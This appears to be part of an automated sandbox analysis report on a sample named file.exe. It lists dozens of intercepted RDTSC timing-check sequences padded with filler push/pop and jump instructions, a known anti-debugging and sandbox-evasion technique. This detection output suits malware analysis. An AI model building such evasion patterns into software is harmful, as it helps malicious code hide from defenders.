Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3FA9E second address: C3FAA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9AB4B second address: C9AB51 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9ED74 second address: C9ED7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9ED7E second address: C9ED8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7A4900AE6Ch 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9E0B9 second address: C9E0CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7A4994017Ch 0x00000009 jp 00007F7A49940176h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9E0CF second address: C9E0D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9E37E second address: C9E388 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F7A49940176h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9E388 second address: C9E396 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F7A4900AE66h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9E976 second address: C9E97E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA59A9 second address: CA59AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA59AF second address: CA59B5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA5FC8 second address: CA5FCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA5FCE second address: CA5FD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA5FD4 second address: CA5FD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA650F second address: CA6515 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6515 second address: CA651A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA651A second address: CA6537 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A49940180h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007F7A49940176h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6537 second address: CA6541 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6541 second address: CA654B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F7A49940176h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6DBA second address: CA6DBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6DBE second address: CA6DC7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6DC7 second address: CA6DE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F7A4900AE70h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAA1CD second address: CAA1D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAA643 second address: CAA64B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAAA5B second address: CAAA5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAAA5F second address: CAAA63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAABBD second address: CAABDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7A4994017Fh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jne 00007F7A49940176h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAABDE second address: CAABEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAABEC second address: CAAC0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7A49940188h 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAAC0A second address: CAAC1A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F7A4900AE66h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAADB0 second address: CAADB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAFA4A second address: CAFA4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAFA4E second address: CAFA53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7552 second address: CB7558 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7721 second address: CB7725 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7725 second address: CB7729 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7729 second address: CB775A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F7A4994018Bh 0x0000000c pushad 0x0000000d jmp 00007F7A4994017Dh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7B17 second address: CB7B1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7DA1 second address: CB7DA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7DA7 second address: CB7DAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7DAC second address: CB7DCB instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7A49940191h 0x00000008 jmp 00007F7A49940185h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7F3A second address: CB7F40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7F40 second address: CB7F69 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7A49940176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b ja 00007F7A49940176h 0x00000011 jns 00007F7A49940176h 0x00000017 pop ecx 0x00000018 jno 00007F7A4994017Ch 0x0000001e pushad 0x0000001f push eax 0x00000020 pop eax 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB83D3 second address: CB83D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB9178 second address: CB917D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB917D second address: CB9189 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F7A4900AE66h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB9189 second address: CB9193 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB9193 second address: CB91A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB91A3 second address: CB91BE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jne 00007F7A49940176h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jng 00007F7A49940178h 0x00000012 push eax 0x00000013 push edi 0x00000014 pop edi 0x00000015 pop eax 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB70A8 second address: CB70CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F7A4900AE79h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB70CA second address: CB70D4 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7A49940176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB70D4 second address: CB70E2 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7A4900AE68h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB70E2 second address: CB70EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F7A49940176h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBE9D4 second address: CBE9D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBE9D9 second address: CBE9E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jc 00007F7A49940176h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBE9E6 second address: CBEA0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F7A4900AE73h 0x0000000f jnl 00007F7A4900AE66h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBEA0B second address: CBEA18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBEA18 second address: CBEA25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007F7A4900AE66h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBEA25 second address: CBEA2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC4AA5 second address: CC4AAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC4AAB second address: CC4AB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCD702 second address: CCD708 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCD708 second address: CCD72D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F7A4994017Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7A4994017Bh 0x00000012 jng 00007F7A49940176h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCD72D second address: CCD73C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7A4900AE66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCD73C second address: CCD756 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7A49940184h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCD203 second address: CCD211 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F7A4900AE66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCD211 second address: CCD215 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCFACE second address: CCFADD instructions: 0x00000000 rdtsc 0x00000002 jo 00007F7A4900AE6Ah 0x00000008 push edi 0x00000009 pop edi 0x0000000a push esi 0x0000000b pop esi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD3379 second address: CD3389 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007F7A49940176h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD2EC3 second address: CD2ECB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD3028 second address: CD302C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD302C second address: CD3030 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD3030 second address: CD3042 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 pushad 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD3042 second address: CD3046 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD3046 second address: CD304C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD304C second address: CD306B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7A4900AE75h 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD96FB second address: CD96FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE1CF3 second address: CE1D03 instructions: 0x00000000 rdtsc 0x00000002 js 00007F7A4900AE72h 0x00000008 jg 00007F7A4900AE66h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEA702 second address: CEA708 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEA826 second address: CEA82A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEA82A second address: CEA849 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F7A49940176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F7A4994017Bh 0x00000012 jbe 00007F7A49940176h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEA849 second address: CEA84F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEA84F second address: CEA853 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEA853 second address: CEA886 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A4900AE73h 0x00000007 jmp 00007F7A4900AE73h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jno 00007F7A4900AE66h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEA886 second address: CEA88C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEB14A second address: CEB159 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7A4900AE66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push esi 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEB159 second address: CEB15F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEBB78 second address: CEBB7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEFC09 second address: CEFC0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEF726 second address: CEF72C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEF72C second address: CEF773 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jng 00007F7A49940176h 0x00000009 jmp 00007F7A49940181h 0x0000000e pop edx 0x0000000f push eax 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F7A49940182h 0x00000017 pop eax 0x00000018 pop edx 0x00000019 pop eax 0x0000001a je 00007F7A499401B5h 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F7A4994017Ch 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEF773 second address: CEF794 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F7A4900AE77h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEF794 second address: CEF798 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEF798 second address: CEF79E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEF901 second address: CEF909 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFF0B0 second address: CFF0B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFF0B5 second address: CFF0CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7A49940181h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFF0CA second address: CFF0CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D032CF second address: D032DF instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7A49940176h 0x00000008 jnp 00007F7A49940176h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D06710 second address: D06723 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7A4900AE6Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D06723 second address: D06729 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D06729 second address: D0673D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jl 00007F7A4900AE66h 0x0000000d jnc 00007F7A4900AE66h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0673D second address: D0676D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7A4994017Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F7A49940189h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0676D second address: D0677D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jo 00007F7A4900AE66h 0x0000000c popad 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D01CE4 second address: D01CE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
